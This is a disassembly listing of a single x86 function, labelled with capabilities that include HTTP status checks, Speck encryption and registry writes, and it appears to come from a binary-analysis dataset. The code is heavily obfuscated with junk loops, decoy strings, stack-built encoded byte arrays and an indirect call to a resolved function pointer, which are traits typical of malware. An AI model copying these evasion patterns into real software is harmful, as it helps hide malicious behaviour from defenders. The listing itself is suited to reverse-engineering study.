Function at 0x1001ec68
Capabilities:
Check http status code
Encrypt data using speck
Query or enumerate registry key
Set registry value

Disassembly:
mov eax, 0x1005f00e
call fcn.1005ddd8
sub esp, 0x5dc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x22c], edx
mov dword [ebp - 0x18c], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0x2aeb
cmp dword [ebp - 0x18], 0x2cdf
jle 0x1001eccb
mov esi, ebx
mov edi, esi
mov ebx, 0x3791
mov eax, edi
mov ecx, 0x10079158
cdq
push edx
push eax
call fcn.1000e4b2
dec edi
dec ebx
jne 0x1001eca8
inc esi
cmp esi, 0x311a
jl 0x1001eca1
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
inc eax
mov byte [ebp - 4], al
cmp dword [ebp - 0x18], 0x28fe
jge 0x1001ed0a
mov edx, str.wzbtp_vjmel_ainp_damyftl_ysflnqirn_webiumkb_blnrkf_jvyrv_fvpt_jzt
mov ecx, 0x10079158
call fcn.10012e6f
jmp 0x1001ed07
xor eax, eax
inc eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x14], 0xc
jmp 0x1001ed5d
push 0x23d0
push 0x6a60
push 0x576b
push ebx
push eax
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0xfffffffd
push ecx
push 0x2c69
push eax
mov edx, 0x7fa2
mov ecx, 0x2bf7
call fcn.1001eb39
add esp, 0x20
inc dword [ebp - 0x14]
push 1
pop eax
cmp dword [ebp - 0x14], 0x12
jl 0x1001ed1d
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], ebx
push 3
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 3
call fcn.1000e794
mov byte [ebp - 4], 4
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x18], 0x34a0
cmp dword [ebp - 0x18], 0x3868
jle 0x1001edfb
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x500]
and eax, esi
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001edd4
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x500]
call fcn.1000efb0
inc edi
cmp edi, 0x713d
jl 0x1001edb8
inc esi
cmp esi, 0x2c0f
jl 0x1001edb6
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x18], 0x3430
jge 0x1001ee16
push str.dgx_eopt_tqfu_gcxya_pgwt_whge_jqtfrku
call fcn.10045eb3
pop ecx
push 1
sub esp, 0xc
mov dword [ebp - 4], 4
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x50]
call fcn.1001e096
xor ecx, ecx
mov dword [ebp - 0x50], ebx
add esp, 0x10
inc ecx
jmp 0x1001ee4c
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x21c], 0x8acc4b7c
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ecx
jl 0x1001ee3b
mov byte [ebp - 0x44], bl
mov dword [ebp - 0x18], 0x57ac
cmp dword [ebp - 0x18], 0x5b7a
jle 0x1001eed9
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x4b8]
and eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001ee8d
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b8]
call fcn.1000efb0
mov edx, dword [ebp - 0x14]
inc edi
cmp edi, 0x1740
jl 0x1001ee6d
inc esi
cmp esi, 0xe3a
jl 0x1001ee6b
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xee5
jl 0x1001ee69
push 0x22c7
push ebx
push 0x26d3
push 0x367
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ecx
push ebx
push ecx
push 0x23b3
push 0x662c
push ecx
mov edx, 0x22c6
lea ecx, [ebp - 0x44]
call fcn.1001e90c
add esp, 0x18
cmp dword [ebp - 0x18], 0x5472
jge 0x1001ef0b
push str.ehb_rrzpv_wjy_vkyu_xpaaoe_svxp_wwehbdzh_wrh_uigjnv_lwldbcg_mftkbclim_srzoolg_ltlqo_yneal
call fcn.10045eb3
pop ecx
mov dword [ebp - 4], 4
xor ecx, ecx
mov edx, dword [ebp - 0x280]
inc ecx
mov dword [edx], ecx
mov dword [ebp - 0x14], ebx
jmp 0x1001ef33
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x274], 0x6d058a83
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001ef22
mov eax, dword [edx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x274]
cmp dword [ebp - 0x18], eax
jne 0x1001ef60
mov eax, dword [ebp - 0x274]
mov eax, dword [ebp - 0x270]
mov eax, dword [ebp - 0x26c]
mov eax, ecx
jmp 0x1001ef62
mov eax, ebx
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x280]
inc dword [eax]
cmp dword [eax], 0x14
jle 0x1001ef1d
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 3
call fcn.1000e817
mov dword [ebp - 0x18], 0x6077
cmp dword [ebp - 0x18], 0x60bd
jle 0x1001effa
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
mov edi, ebx
mov eax, esi
cdq
idiv edi
xor edx, ecx
lea ecx, [ebp - 0x458]
mov eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001efc4
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x458]
call fcn.1000efb0
mov ecx, dword [ebp - 0x14]
inc edi
cmp edi, 0x3828
jl 0x1001efa3
inc esi
cmp esi, 0x47eb
jl 0x1001efa1
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x6d03
jl 0x1001ef9f
xor ecx, ecx
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x1001f010
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001f002
mov dword [ebp - 0x54], 0x13
jmp 0x1001f041
push ecx
lea eax, [ebp - 0x45]
mov byte [ebp - 0x45], bl
push eax
push ebx
push 0x504a
xor dl, dl
mov ecx, 0x38fe
call fcn.1001e974
add esp, 0x10
inc dword [ebp - 0x54]
push 1
pop ecx
cmp dword [ebp - 0x54], 0x15
jge 0x1001f01e
mov dword [ebp - 0x54], ebx
cmp dword [ebp - 0x18], 0x6028
jge 0x1001f05e
push str.eror_crmfdu_pcquctc_dklsmiaz_qpmv_kxtunjez_phqzcp_dgvgbovcz_uqulgxcy
call fcn.10045eb3
pop ecx
mov dword [ebp - 4], 3
mov ecx, ebx
push 0x6f
pop eax
push 0xb
mov byte [ebp - 0x94], al
pop eax
push 0x74
mov byte [ebp - 0x91], al
pop eax
push 2
mov dword [ebp - 0xac], 0x1702d609
mov dword [ebp - 0xa8], 0x6030d08
mov dword [ebp - 0xa4], 0x2c000707
mov dword [ebp - 0xa0], 0x4012604
mov dword [ebp - 0x9c], 0x6e052206
mov dword [ebp - 0x98], 0xfef84704
mov word [ebp - 0x93], 0x410c
mov word [ebp - 0x90], 0xa03
mov byte [ebp - 0x8e], 0x1d
mov word [ebp - 0x376], ax
pop esi
mov dword [ebp - 0x15c], ecx
cmp esi, 0x14
jne 0x1001f0f4
push 5
pop ecx
push 0x17
mov dword [ebp - 0x15c], ecx
pop esi
jmp 0x1001f161
movzx edx, byte [ebp + esi - 0xab]
mov eax, esi
sub eax, ecx
push 0x5760
movzx eax, byte [ebp + eax - 0xae]
movzx eax, word [ebp + eax*2 - 0x388]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x35d0
sub ecx, eax
movzx eax, byte [ebp + esi - 0xac]
mov word [ebp + eax*2 - 0x388], cx
lea eax, [ebp - 0x15c]
push eax
push 0x49bf
xor eax, eax
mov ecx, 0x1fd1
inc eax
push eax
push eax
push 0x1198
push 0x63ca
push ebx
call fcn.1001eb39
mov ecx, dword [ebp - 0x15c]
add esp, 0x20
add esi, 2
cmp esi, 0x1f
jb 0x1001f0e1
xor eax, eax
mov word [ebp - 0x36e], ax
mov dword [ebp - 0x18], 0x6915
cmp dword [ebp - 0x18], 0x6acb
jle 0x1001f1e2
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
add eax, ecx
lea ecx, [ebp - 0x470]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f1ac
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x470]
call fcn.1000efb0
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x3fcb
jl 0x1001f18f
inc edi
cmp edi, 0x6391
jl 0x1001f18d
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x2003
jl 0x1001f18b
xor eax, eax
mov word [ebp - 0x8b], 0x4c1
inc eax
mov byte [ebp - 0x89], 0xe
cmp dword [ebp - 0x18], 0x68f5
mov byte [ebp - 0x8c], al
mov byte [ebp - 0x88], al
mov dword [ebp - 0x87], 0x7090673
mov dword [ebp - 0x83], 0x348020d
mov dword [ebp - 0x7f], 0x54e
mov byte [ebp - 0x7b], 0xd
jge 0x1001f234
push str.logegm_ofjgpgdp_zqojm_xynwdst_xcgmcmhn_bupbizblq_queus_ocsh_fnosmqno
call fcn.10045eb3
pop ecx
push 0x6f
pop eax
push 2
mov dword [ebp - 4], 3
mov ecx, ebx
mov word [ebp - 0x2b6], ax
pop esi
cmp esi, 4
jne 0x1001f254
push 2
pop ecx
jmp 0x1001f28c
movzx edx, byte [ebp + esi - 0x8b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x8e]
movzx ecx, word [ebp + eax*2 - 0x2b8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x8c]
add ecx, edx
mov word [ebp + eax*2 - 0x2b8], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x12
jb 0x1001f24a
xor eax, eax
mov dword [ebp - 0x340], 7
mov word [ebp - 0x2a8], ax
lea ecx, [ebp - 0x354]
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x2b8]
push eax
mov dword [ebp - 0x344], ebx
call fcn.1001d0db
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x36c]
xor eax, eax
mov dword [ebp - 0x358], 7
mov word [ebp - 0x36c], ax
lea eax, [ebp - 0x388]
push eax
mov dword [ebp - 0x35c], ebx
call fcn.1001d0db
lea eax, [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x440]
call fcn.10018099
lea eax, [ebp - 0x354]
push eax
lea ecx, [ebp - 0x428]
call fcn.10018099
push ebx
push 1
lea ecx, [ebp - 0x36c]
call fcn.1000f2e8
push ebx
push 1
lea ecx, [ebp - 0x354]
call fcn.1000f2e8
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x410]
push dword [ebp - 0x158]
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], ebx
push eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x1a4], ebx
push eax
push ebx
mov dword [ebp - 0x1a0], ebx
call fcn.10021152
push fcn.1001dc3b
push 1
push 0x30
lea eax, [ebp - 0x440]
mov byte [ebp - 4], 0x10
push eax
call fcn.10045c6b
push dword [ebp - 0x158]
lea eax, [ebp - 0x388]
mov dword [ebp - 0x1ec], ebx
push eax
lea eax, [ebp - 0x398]
mov dword [ebp - 0x1e8], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1e4], ebx
push ebx
lea ecx, [ebp - 0x1ec]
movdqu xmmword [ebp - 0x398], xmm0
call fcn.10013b89
push 0x25a1
xor eax, eax
inc eax
xor dl, dl
push eax
push 0x19a7
push 0x582c
push 0x5218
push eax
lea eax, [ebp - 0x1ec]
push eax
mov ecx, 0x6664
call fcn.1001dcee
add esp, 0x1c
lea ecx, [ebp - 0x1ec]
call fcn.1000e817
push 7
xor eax, eax
lea edi, [ebp - 0x388]
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x2b8]
stosd dword es:[edi], eax
lea ecx, [ebp + 8]
push 0x724c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x1a8]
push eax
xor eax, eax
inc eax
push eax
push eax
push 0x2d6a
push ecx
push 0x1a74
mov dl, al
mov ecx, 0x6376
call fcn.1001e1e1
add esp, 0x1c
mov dword [ebp - 0x1c], 0xfa2f
mov dword [ebp - 0x34], 0xdf628589
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 0xfffffff6
push 1
sub esp, 0x10
mov dword [ebp - 0x18], 0x9c279a20
call fcn.1001eaee
mov eax, dword [ebp - 0x1c]
xor edx, edx
add esp, 0x14
inc edx
cmp eax, dword [ebp - 0x1c]
jne 0x1001f490
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
cmp eax, edx
setge cl
cmp dword [ebp - 0x1c], ecx
mov ecx, edx
jne 0x1001f492
mov ecx, ebx
xor eax, eax
cmp ecx, 0xffffffff
setge al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jle 0x1001f4ac
mov eax, edx
cmp dword [ebp - 0x1c], ebx
jne 0x1001f4ae
mov eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0x841b3c69
mov dword [ebp - 0x14], ebx
jmp 0x1001f4dc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x19c], 0x1747
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001f4cb
push ecx
push ebx
mov ecx, 0x6d55
call fcn.1001ddc5
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x19
pop ecx
pop ecx
jle 0x1001f5b9
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x47]
mov dword [ebp - 0x14], 0x49febb67
push ecx
push 0x7efc
push eax
mov byte [ebp - 0x47], bl
mov edx, 0x15fa
push 0xc8a
xor cl, cl
call fcn.1001e3e5
xor eax, eax
mov dword [ebp - 0x14], 0xe
add esp, 0x14
inc eax
cmp dword [ebp - 0x14], 9
jne 0x1001f5ac
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x1c], ebx
push ecx
push eax
push eax
push 0x7610
mov dword [ebp - 0x34], 0x82abbf9a
mov edx, 0x15e0
mov dword [ebp - 0x18], 0xd1af
mov ecx, 0x11ed
push 0x482d
mov dword [ebp - 0x34], 4
mov byte [ebp - 0x48], bl
push 0x6822
call fcn.1001e27c
mov eax, dword [ebp - 0x1c]
add esp, 0x1c
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x1c], ebx
jne 0x1001f59e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x1c]
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x14]
jmp 0x1001f532
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x19
jg 0x1001f4ff
push ebx
push 0x10965
push 0xf769
call fcn.1003ec14
pop ecx
pop ecx
call eax
mov dword [ebp - 0x14], 0x6e871d97
mov dword [ebp - 0x14], ebx
jmp 0x1001f5ea
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3b8], 0x2403
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001f5d9
dec dword [ebp - 0x3b0]
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x1001f61c
lea eax, [ebp - 0x46]
mov byte [ebp - 0x46], bl
push eax
push 0x7155
xor dl, dl
call fcn.1001e2de
dec dword [ebp - 0x14]
pop ecx
pop ecx
jns 0x1001f602
push 3
lea ecx, [ebp - 0x300]
call fcn.1000e794
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x20], 0x7df2f4a8
mov dword [ebp - 0x14], ebx
jmp 0x1001f64c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x300]
mov dword [eax + ecx*4], 0xff0ea75c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001f639
push ecx
mov byte [ebp - 0x42], bl
lea ecx, [ebp - 0x42]
push 1
call fcn.1001ddc5
pop ecx
pop ecx
push 2
mov dword [ebp - 0x20], ebx
pop esi
jmp 0x1001f705
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x24c], 6
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x1001f6d4
mov dword [ebp - 0x264], 0x9d94b4b1
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x300]
push 0x1472
push ecx
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
lea eax, [ebp - 0x264]
push eax
push ebx
lea eax, [ebp - 0x24c]
mov edx, 0x6ae4
push eax
push 0x617a
push ecx
mov ecx, 0x746e
call fcn.1001e4e2
add esp, 0x1c
dec dword [ebp - 0x1c]
jns 0x1001f686
lea eax, [ebp - 0x43]
mov byte [ebp - 0x43], bl
push 0x7c46
push eax
mov dl, 1
call fcn.1001e2de
mov dword [ebp - 0x1c], esi
pop ecx
pop ecx
cmp dword [ebp - 0x1c], ebx
jl 0x1001f702
push ebx
sub esp, 0x10
call fcn.1001eaee
add esp, 0x14
dec dword [ebp - 0x1c]
jns 0x1001f6f1
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1001f66d
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x10
call fcn.1000e817
push ecx
lea eax, [ebp - 0x338]
xor dl, dl
push eax
push 0x55dd
push ecx
push ecx
mov ecx, 0x9cc
call fcn.1001e6b7
add esp, 0x14
lea ecx, [ebp - 0x318]
push esi
call fcn.1000e794
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x324]
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0xe149cff2
push 3
call fcn.1000e794
push 1
push 0x4021
push ebx
push ebx
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x318]
mov dword [ebp - 0x25c], 0x5a4a104a
push 0x5b28
push eax
mov edx, 0x61ae
mov dword [ebp - 0x24], 0xd4f6
mov ecx, 0x5b00
call fcn.1001e27c
add esp, 0x1c
lea ecx, [ebp - 0x324]
xor eax, eax
lea edx, [ebp - 0x234]
inc eax
push eax
push 0x3b5d
push ecx
push ebx
push 0xe02
mov cl, al
call fcn.1001e3e5
mov edi, dword [ebp - 0x318]
xor edx, edx
inc edx
add esp, 0x14
cmp edx, dword [edi]
mov ecx, dword [edi + 4]
sbb eax, eax
inc eax
sub eax, ecx
jne 0x1001f7fe
mov esi, ebx
test ecx, ecx
je 0x1001f800
mov esi, edx
xor eax, eax
cmp esi, ecx
setl al
add eax, ecx
imul eax, dword [edi]
test eax, eax
je 0x1001f817
cmp dword [edi], 0
mov esi, edx
jne 0x1001f819
mov esi, ebx
xor eax, eax
cmp esi, ecx
push edx
setge al
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov eax, 0x4b508423
sub eax, dword [edi + 4]
cmp eax, dword [edi]
push 0x47f0
setge cl
mov dword [ebp - 0x14], ecx
mov cl, 1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x25c]
push 0x1fdd
push edx
push eax
mov edx, 0x2b3f
call fcn.1001e3e5
add esp, 0x14
lea ecx, [ebp - 0x324]
call fcn.1000e817
lea ecx, [ebp - 0x318]
mov byte [ebp - 4], 0x10
call fcn.1000e817
push 3
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x28], ebx
call fcn.1000e794
push 0x117b
push ebx
lea eax, [ebp - 0x28c]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x20], 0xfffffffd
push eax
push 0x546
push ebx
mov dword [ebp - 0x14], 0xe197e7c1
mov dl, 1
mov dword [ebp - 0x24], 0xf31a
mov ecx, 0x3ba3
push 0x3333
call fcn.1001dcee
mov eax, dword [ebp - 0x20]
xor edx, edx
mov esi, dword [ebp - 0x28c]
add esp, 0x1c
mov ecx, dword [esi + 4]
lea eax, [ecx + ecx]
cmp eax, ecx
mov ecx, 0xd8da8e97
setne dl
xor eax, eax
cmp edx, dword [esi + 8]
setle al
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, 0xfffffff8
jae 0x1001fc01
mov dword [ebp - 0x1c], 0xc98aac1e
mov dword [ebp - 0x18], 0x352601c8
mov dword [ebp - 0x188], 0x1731d497
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x17
jg 0x1001fc89
push dword [ebp - 0x74]
movdqa xmm0, xmmword [0x1006c3f0]
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x3c8]
mov dword [ebp - 0x180], ebx
push eax
push ebx
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x17c], ebx
movdqu xmmword [ebp - 0x3c8], xmm0
mov dword [ebp - 0x178], ebx
call fcn.10013b89
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], 0x6a9bebb
cmp dword [ebp - 0x1c], ebx
je 0x1001f98f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x180]
mov dword [eax + 4], ecx
test ecx, ecx
je 0x1001f98f
xor edx, edx
inc edx
jmp 0x1001f991
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x20]
sub ecx, dword [eax + 8]
mov eax, dword [ebp - 0x1c]
cmp ecx, 0xfeed1b4b
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x3899
setne al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x188], ebx
je 0x1001fa20
push ecx
push 0x473d
lea eax, [ebp - 0x180]
mov dl, 1
push eax
push ecx
push ecx
lea ecx, [ebp - 0x188]
call fcn.1001e6b7
add esp, 0x14
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x14
call fcn.1000e817
inc dword [ebp - 0x20]
jmp 0x1001f91a
mov dword [ebp - 0x210], 0xfffffff9
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], 3
jg 0x1001fa09
mov dword [ebp - 0x34], 0x32cc
cmp dword [ebp - 0x34], 0x3434
jle 0x1001faa3
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], 0x5585
mov eax, edi
lea ecx, [ebp - 0x4d0]
xor eax, esi
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001fa70
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d0]
call fcn.1000efb0
dec esi
dec dword [ebp - 0x18]
jne 0x1001fa54
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x1145
jl 0x1001fa4a
inc edi
cmp edi, 0x2a9a
jl 0x1001fa45
mov dword [ebp - 0x218], 0xfffffff7
cmp dword [ebp - 0x34], 0x311c
jge 0x1001fac1
push str.lfqqlkkx_sud_kat_ooeffwpi_znf_nytwgdt_ecd_exmtyau_eezmrbgd
call fcn.10045eb3
pop ecx
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x1001fbe3
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jg 0x1001fbdb
lea eax, [ebp - 0x180]
push eax
push ecx
push 0x3a68
push 1
push 0x7b18
lea eax, [ebp - 0x210]
push eax
push ecx
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x218]
call fcn.1001e4e2
add esp, 0x1c
mov dword [ebp - 0x34], 0x5811
cmp dword [ebp - 0x34], 0x591c
jle 0x1001fb8b
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov ecx, edi
mov esi, ebx
shl eax, cl
mov dword [ebp - 0x24], eax
or eax, esi
lea ecx, [ebp - 0x4e8]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001fb53
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4e8]
call fcn.1000efb0
mov eax, dword [ebp - 0x24]
inc esi
cmp esi, 0x271c
jl 0x1001fb39
mov eax, dword [ebp - 0x18]
inc edi
cmp edi, 0x6486
jl 0x1001fb30
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x7018
jl 0x1001fb2e
mov byte [ebp - 0x49], bl
cmp dword [ebp - 0x34], 0x56d9
jge 0x1001fba2
push str.thkjmcye_wbrcxw_dafbk_mmb_lzh_fzjptr_jnpf_mpkjb_olfsnudwv_qptcx_odyrmfq_pclqkpj_cgl_fuqxpjt
call fcn.10045eb3
pop ecx
push ebx
push 0x638e
xor eax, eax
mov dword [ebp - 4], 0x15
inc eax
lea ecx, [ebp - 0x49]
push eax
push eax
push 0x994
push 0xbc1
push 0x5190
mov edx, 0x4d2d
call fcn.1001e27c
add esp, 0x1c
inc dword [ebp - 0x1c]
jmp 0x1001fadb
dec dword [ebp - 0x14]
jmp 0x1001facf
push ecx
lea eax, [ebp - 0x180]
mov dl, 1
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1001e5aa
add esp, 0xc
inc dword [ebp - 0x2c]
jmp 0x1001fa2d
mov dword [ebp - 0x20], ebx
jmp 0x1001fc17
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1dc], 0x28c4f412
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1001fc06
mov eax, dword [ebp - 0x1d4]
xor edx, edx
mov eax, dword [ebp - 0x1dc]
test eax, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x1d4]
cmp edx, eax
mov eax, dword [ebp - 0x1dc]
setl cl
xor edx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1dc]
cmp eax, dword [esi + 8]
mov eax, dword [ebp - 0x1dc]
setge dl
add edx, dword [esi + 4]
imul ecx, edx
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x1dc]
add ecx, eax
mov eax, dword [ebp - 0x1dc]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0xe185
setne al
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0x10
call fcn.1000e817
push 0x74
xor eax, eax
mov dword [ebp - 0x100], 0x7d11e60d
inc eax
mov dword [ebp - 0xfc], 0x1e09770b
mov byte [ebp - 0xf5], al
mov byte [ebp - 0xc8], al
pop eax
push 0x39
mov byte [ebp - 0xc5], al
mov byte [ebp - 0xc3], al
pop eax
push 2
pop edi
push edi
mov word [ebp - 0xf8], 0x1d1a
mov byte [ebp - 0xf6], 0x10
mov dword [ebp - 0xf4], 0x7b1b0903
mov dword [ebp - 0xf0], 0x19176e13
mov dword [ebp - 0xec], 0x700a7008
mov dword [ebp - 0xe8], 0x15071918
mov dword [ebp - 0xe4], 0x81c0024
mov dword [ebp - 0xe0], 0x2120019
mov dword [ebp - 0xdc], 0x4925060c
mov dword [ebp - 0xd8], 0x7214c0f
mov dword [ebp - 0xd4], 0x42144d00
mov dword [ebp - 0xd0], 0xd1d0022
mov dword [ebp - 0xcc], 0x1c0e0515
mov word [ebp - 0xc7], 0x568
mov byte [ebp - 0xc4], 0x23
mov dword [ebp - 0xc2], 0x7606031e
mov dword [ebp - 0xbe], 0x7302071f
mov dword [ebp - 0xba], 0x2160704
